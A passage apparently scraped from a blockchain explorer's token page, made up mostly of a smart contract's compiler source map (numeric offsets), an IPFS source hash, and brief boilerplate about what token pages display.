;2735:69;;;;-1:-1:-1;;;2735:69:0;;6639:2:1;2735:69:0;;;6621:21:1;6678:2;6658:18;;;6651:30;6717:34;6697:18;;;6690:62;-1:-1:-1;;;6768:18:1;;;6761:35;6813:19;;2735:69:0;6437:401:1;2735:69:0;-1:-1:-1;;;;;2823:21:0;;2815:69;;;;-1:-1:-1;;;2815:69:0;;7045:2:1;2815:69:0;;;7027:21:1;7084:2;7064:18;;;7057:30;7123:34;7103:18;;;7096:62;-1:-1:-1;;;7174:18:1;;;7167:33;7217:19;;2815:69:0;6843:399:1;2815:69:0;-1:-1:-1;;;;;2895:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;2947:32;;1981:25:1;;;2947:32:0;;1954:18:1;2947:32:0;;;;;;;2641:346;;;:::o;5639:655::-;5719:17;-1:-1:-1;;;;;5759:18:0;;5751:27;;;;;;-1:-1:-1;;;;;5806:15:0;;;;;;:9;:15;;;;;;5797:24;;;5789:33;;;;;;5853:2;-1:-1:-1;;;;;5838:25:0;5847:4;-1:-1:-1;;;;;5838:25:0;;5857:5;5838:25;;;;1981::1;;1969:2;1954:18;;1835:177;5838:25:0;;;;;;;;-1:-1:-1;;;;;5892:15:0;;;;;;:9;:15;;;;;;:25;;5911:5;;5892:25;:::i;:::-;-1:-1:-1;;;;;5874:15:0;;;;;;:9;:15;;;;;;;;:43;;;;5947:9;:15;;;;;;4051:12;-1:-1:-1;5947:37:0;;6024:24;6043:4;6024:14;:5;6034:3;6024:9;:14::i;:::-;:18;;:24::i;:::-;-1:-1:-1;;;;;6064:15:0;;;;;;:9;:15;;;;;;5996:52;;-1:-1:-1;6064:20:0;;;;6063:36;;;6089:10;6063:36;6059:103;;;6131:17;6118:31;;6059:103;-1:-1:-1;;;;;6192:13:0;;6172:17;6192:13;;;:9;:13;;;;;;6229:21;6240:9;6230:5;6229:21;:::i;:::-;6216:34;;;;:::i;:::-;-1:-1:-1;;;;;6261:13:0;;;;;;;:9;:13;;;;;:25;;;;-1:-1:-1;;;;;;5639:655:0:o;774:223::-;832:7;856:1;861;856:6;852:23;;-1:-1:-1;872:1:0;865:8;;852:23;885:9;897:5;901:1;897;:5;:::i;:::-;885:17;-1:-1:-1;930:1:0;921:5;925:1;885:17;921:5;:::i;:::-;:10;913:57;;;;-1:-1:-1;;;913:57:0;;7844:2:1;913:57:0;;;7826:21:1;7883:2;7863:18;;;7856:30;7922:34;7902:18;;;7895:62;-1:-1:-1;;;7973:18:1;;;7966:32;8015:19;;913:57:0;7642:398:1;913:57:0;988:1;774:223;-1:-1:-1;;;774:223:0:o;588:178::-;646:7;678:1;674;:5;666:45;;;;-1:-1:-1;;;666:45:0;;8247:2:1;666:45:0;;;8229:21:1;8286:2;8266:18;;;8259:30;8325:29;8305:18;;;8298:57;8372:18;;666:45:0;8045:351:1;666:45:0;722:9;734:5;738:1;734;:5;:::i;:::-;722:17;588:178;-1:-1:-1;;;;588:178:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:615::-;1301:6;1309;1362:2;1350:9;1341:7;1337:23;1333:32;1330:52;;;1378:1;1375;1368:12;1330:52;1418:9;1405:23;1447:18;1488:2;1480:6;1477:14;1474:34;;;1504:1;1501;1494:12;1474:34;1542:6;1531:9;1527:22;1517:32;;1587:7;1580:4;1576:2;1572:13;1568:27;1558:55;;1609:1;1606;1599:12;1558:55;1649:2;1636:16;1675:2;1667:6;1664:14;1661:34;;;1691:1;1688;1681:12;1661:34;1744:7;1739:2;1729:6;1726:1;1722:14;1718:2;1714:23;1710:32;1707:45;1704:65;;;1765:1;1762;1755:12;1704:65;1796:2;1788:11;;;;;1818:6;;-1:-1:-1;1215:615:1;;-1:-1:-1;;;;1215:615:1:o;2017:456::-;2094:6;2102;2110;2163:2;2151:9;2142:7;2138:23;2134:32;2131:52;;;2179:1;2176;2169:12;2131:52;2218:9;2205:23;2237:31;2262:5;2237:31;:::i;:::-;2287:5;-1:-1:-1;2344:2:1;2329:18;;2316:32;2357:33;2316:32;2357:33;:::i;:::-;2017:456;;2409:7;;-1:-1:-1;;;2463:2:1;2448:18;;;;2435:32;;2017:456::o;2478:315::-;2546:6;2554;2607:2;2595:9;2586:7;2582:23;2578:32;2575:52;;;2623:1;2620;2613:12;2575:52;2659:9;2646:23;2636:33;;2719:2;2708:9;2704:18;2691:32;2732:31;2757:5;2732:31;:::i;:::-;2782:5;2772:15;;;2478:315;;;;;:::o;3006:247::-;3065:6;3118:2;3106:9;3097:7;3093:23;3089:32;3086:52;;;3134:1;3131;3124:12;3086:52;3173:9;3160:23;3192:31;3217:5;3192:31;:::i;3258:388::-;3326:6;3334;3387:2;3375:9;3366:7;3362:23;3358:32;3355:52;;;3403:1;3400;3393:12;3355:52;3442:9;3429:23;3461:31;3486:5;3461:31;:::i;:::-;3511:5;-1:-1:-1;3568:2:1;3553:18;;3540:32;3581:33;3540:32;3581:33;:::i;3651:380::-;3730:1;3726:12;;;;3773;;;3794:61;;3848:4;3840:6;3836:17;3826:27;;3794:61;3901:2;3893:6;3890:14;3870:18;3867:38;3864:161;;3947:10;3942:3;3938:20;3935:1;3928:31;3982:4;3979:1;3972:15;4010:4;4007:1;4000:15;3864:161;;3651:380;;;:::o;4036:127::-;4097:10;4092:3;4088:20;4085:1;4078:31;4128:4;4125:1;4118:15;4152:4;4149:1;4142:15;4168:125;4233:9;;;4254:10;;;4251:36;;;4267:18;;:::i;4298:127::-;4359:10;4354:3;4350:20;4347:1;4340:31;4390:4;4387:1;4380:15;4414:4;4411:1;4404:15;4430:135;4469:3;4490:17;;;4487:43;;4510:18;;:::i;:::-;-1:-1:-1;4557:1:1;4546:13;;4430:135::o;4702:251::-;4772:6;4825:2;4813:9;4804:7;4800:23;4796:32;4793:52;;;4841:1;4838;4831:12;4793:52;4873:9;4867:16;4892:31;4917:5;4892:31;:::i;4958:980::-;5220:4;5268:3;5257:9;5253:19;5299:6;5288:9;5281:25;5325:2;5363:6;5358:2;5347:9;5343:18;5336:34;5406:3;5401:2;5390:9;5386:18;5379:31;5430:6;5465;5459:13;5496:6;5488;5481:22;5534:3;5523:9;5519:19;5512:26;;5573:2;5565:6;5561:15;5547:29;;5594:1;5604:195;5618:6;5615:1;5612:13;5604:195;;;5683:13;;-1:-1:-1;;;;;5679:39:1;5667:52;;5774:15;;;;5739:12;;;;5715:1;5633:9;5604:195;;;-1:-1:-1;;;;;;;5855:32:1;;;;5850:2;5835:18;;5828:60;-1:-1:-1;;;5919:3:1;5904:19;5897:35;5816:3;4958:980;-1:-1:-1;;;4958:980:1:o;6304:128::-;6371:9;;;6392:11;;;6389:37;;;6406:18;;:::i;7247:168::-;7320:9;;;7351;;7368:15;;;7362:22;;7348:37;7338:71;;7389:18;;:::i;7420:217::-;7460:1;7486;7476:132;;7530:10;7525:3;7521:20;7518:1;7511:31;7565:4;7562:1;7555:15;7593:4;7590:1;7583:15;7476:132;-1:-1:-1;7622:9:1;;7420:217::o

Swarm Source

ipfs://915d3f1dbd61ff0a263091b428a2fc2559d15cf63dfd2dfa304152137586fb10
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.